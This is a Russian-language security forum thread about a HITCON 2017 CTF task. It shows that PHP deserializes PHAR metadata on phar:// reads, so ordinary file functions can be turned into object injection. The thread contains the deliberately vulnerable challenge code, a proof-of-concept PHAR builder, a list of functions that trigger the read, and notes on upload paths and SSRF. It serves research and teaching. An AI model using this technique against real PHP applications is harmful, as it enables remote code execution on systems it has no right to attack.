RDot: White Hat Security Community

RDot: White Hat Security Community (https://rdot.org/forum/index.php)
-   Уязвимости PHP/PHP vulnerabilities (https://rdot.org/forum/forumdisplay.php?f=26)
-   -   Чтение файлов => unserialize ! (https://rdot.org/forum/showthread.php?t=4379)

Beched 06.11.2017 13:40

Чтение файлов => unserialize !
 
Огненный подгон от тайваньский друзей.

Давеча прошёл HITCON CTF Quals (https://ctf2017.hitcon.org/dashboard/). Там были веб-таски от Orange.
Один из них никто не решил:
Цитата:

Baby^H Master PHP 2017
PHP is the best programming language in the world!

http://13.115.31.205
Код таска:
PHP код:

 <?php
    $FLAG    
create_function(""'die(`/read_flag`);');
    
$SECRET  = `/read_secret`;
    
$SANDBOX "/var/www/data/" md5("orange" $_SERVER["REMOTE_ADDR"]); 
    @
mkdir($SANDBOX);
    @
chdir($SANDBOX);

    if (!isset(
$_COOKIE["session-data"])) {
        
$data serialize(new User($SANDBOX));
        
$hmac hash_hmac("sha1"$data$SECRET);
        
setcookie("session-data"sprintf("%s-----%s"$data$hmac));
    }

    class 
User {
        public 
$avatar;
        function 
__construct($path) {
            
$this->avatar $path;
        }
    }

    class 
Admin extends User {
        function 
__destruct(){
            
$random bin2hex(openssl_random_pseudo_bytes(32));
            eval(
"function my_function_$random() {"
                
."  global \$FLAG; \$FLAG();"
                
."}");
            
$_GET["lucky"]();
        }
    }

    function 
check_session() {
        global 
$SECRET;
        
$data $_COOKIE["session-data"];
        list(
$data$hmac) = explode("-----"$data2);
        if (!isset(
$data$hmac) || !is_string($data) || !is_string($hmac))
            die(
"Bye");
        if ( !
hash_equals(hash_hmac("sha1"$data$SECRET), $hmac) )
            die(
"Bye Bye");

        
$data unserialize($data);
        if ( !isset(
$data->avatar) )
            die(
"Bye Bye Bye");
        return 
$data->avatar;
    }

    function 
upload($path) {
        
$data file_get_contents($_GET["url"] . "/avatar.gif");
        if (
substr($data06) !== "GIF89a")
            die(
"Fuck off");
        
file_put_contents($path "/avatar.gif"$data);
        die(
"Upload OK");
    }

    function 
show($path) {
        if ( !
file_exists($path "/avatar.gif") )
            
$path "/var/www/html";
        
header("Content-Type: image/gif");
        die(
file_get_contents($path "/avatar.gif"));
    }

    
$mode $_GET["m"];
    if (
$mode == "upload")
        
upload(check_session());
    else if (
$mode == "show")
        
show(check_session());
    else
        
highlight_file(__FILE__);

Решение: https://github.com/orangetw/My-CTF-W...aster-php-2017

Так вот, внезапно выясняется, что PHP производит десериализацию метаданных при чтении PHAR-архива, и почему-то никто из нас этого не знал.
Пруф в сорцах:
https://github.com/php/php-src/blob/...ar/phar.c#L609
Пруф вектор:
http://view-source:https://raw.githu...017/avatar.gif

Почему-то никто про это не знал.
Цитата:

[13:13] <Beched> wow!
[13:13] <Beched> https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609
[13:14] <Beched> omg is this common knowledge? =)
[13:14] <Beched> where did you learn that PHP deserializes metadata in phars?
[13:14] <Beched> somehow no one knew that among us
[13:27] <orange_> I read the PHP source code in my free time
[13:27] <orange_> I think both tricks are not seen on the Internet
[13:27] <orange_> That's why nobody solve it :(
[13:38] <Beched> yeah that's cool
[13:38] <Beched> turning arbitrary read into unserialize
А вот как можно проверить у себя:
PHP код:

<?php

if(count($argv) > 1) {
    @
readfile("phar://./deser.phar");
    exit;
}

class 
Hui {
    function 
__destruct() {
        echo 
"PWN\n";
    }
}

@
unlink('deser.phar');
try {
    
$p = new Phar(dirname(__FILE__) . '/deser.phar'0);
    
$p['file.txt'] = 'test';
    
$p->setMetadata(new Hui());
    
$p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (
Exception $e) {
    echo 
'Could not create and/or modify phar:'$e;
}

?>

Создаём PHAR:
Код:

$ php -dphar.readonly=0 proof.php
PWN

Проверяем десериализацию при чтении:
Код:

$ php -dphar.readonly=0 proof.php 1
PWN

Зависимости:

Обёртка phar:// не работает с удалёнными хостами, поэтому нужно сначала загрузить файл на сервер. Но наличие стаба позволяет сформировать произвольный заголовок (в таске, например, нужно было вставить GIF89a в начало).

crlf 07.11.2017 03:22

Вроде вот оно, под носом https://bugs.php.net/bug.php?id=69324, ан нет, нужне ещё думалку включать :)
Good news, thanks!

Beched 07.11.2017 18:00

Цитата:

Сообщение от crlf (Сообщение 43332)
Вроде вот оно, под носом https://bugs.php.net/bug.php?id=69324, ан нет, нужне ещё думалку включать :)
Good news, thanks!

Хы, забавно. А ещё, чтоб найти это, достаточно было прогрепать сишные сорцы на слово unserialize, там всего 37 результатов: https://github.com/php/php-src/search?l=C&q=unserialize&type=&utf8=%E2%9C%93

Кстати, вектор в принципе реален ввиду следующих фактов:
1) Нам не нужен вывод от чтения, достаточно самого вызова file_get_contents или readfile или XXE и т.д. (любой функции с поддержкой обёрток);
2) Залить файл часто можно в /tmp/, дальше лик через phpinfo или брут.

crlf 14.11.2017 20:30

Цитата:

Сообщение от Beched (Сообщение 43333)
1) Нам не нужен вывод от чтения, достаточно самого вызова file_get_contents или readfile или XXE и т.д.

Из неочевидных:
Код:

file_exists
getimagesize
is_file
is_dir
is_readable
is_writable

и т.д. :)

Тут есть ещё на что посмотреть. Функции записи в файл, не юзабельны, по крайней мере у меня не взлетело. Есть загвоздки, как по ограничению в php.ini, так и с обязательным расширением .phar.

crlf 03.01.2018 02:58

Цитата:

Сообщение от Beched (Сообщение 43333)
2) Залить файл часто можно в /tmp/, дальше лик через phpinfo или брут.

Что-то не хочет phar файлы без расширения цеплять :(
Цитата:

Warning: file_get_contents(phar:///tmp/phpAo7pXX): failed to open stream: phar error: no directory in "phar:///tmp/phpAo7pXX", must have at least phar:///tmp/phpAo7pXX/ for root directory (always use full path to a new phar) in /var/www/test.php on line 4
Попытался поковыряться в сорцах, вроде нашёл загвоздку:

phar/stream.c
phar/phar.c

Судя по функции phar_detect_phar_fname_ext и её описанию, без расширения, будем получать только FAILURE. В сях не силён и большая часть кода китайская грамота для меня, поэтому прошу компетентных людей дать своё заключение, потеряно ли развитие вектора в этом направлении.

crlf 05.01.2018 15:30

Вроде никак, phar.c#L2014:

Код:

        pos = memchr(filename + 1, '.', filename_len);
next_extension:
        if (!pos) {
                return FAILURE;
}

:(

Beched 07.02.2018 00:04

Блин, отстой... Тоже не нашёл байпасса. Ну, значит, нужен нормальный аплоад или ссрф =(

crlf 07.02.2018 01:00

Цитата:

Сообщение от Beched (Сообщение 43626)
или ссрф =(

Если есть возможность эксплуатировать эту фичу, то это же полюбому ссрф? Чёт не догнал %)

Beched 07.02.2018 12:10

Цитата:

Сообщение от crlf (Сообщение 43629)
Если есть возможность эксплуатировать эту фичу, то это же полюбому ссрф? Чёт не догнал %)

Ну коннекты наружу могут быть порезаны, или allow_url_fopen=off, а нам надо подсунуть свой файл с нужным расширением.


Часовой пояс GMT +3, время: 11:42.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot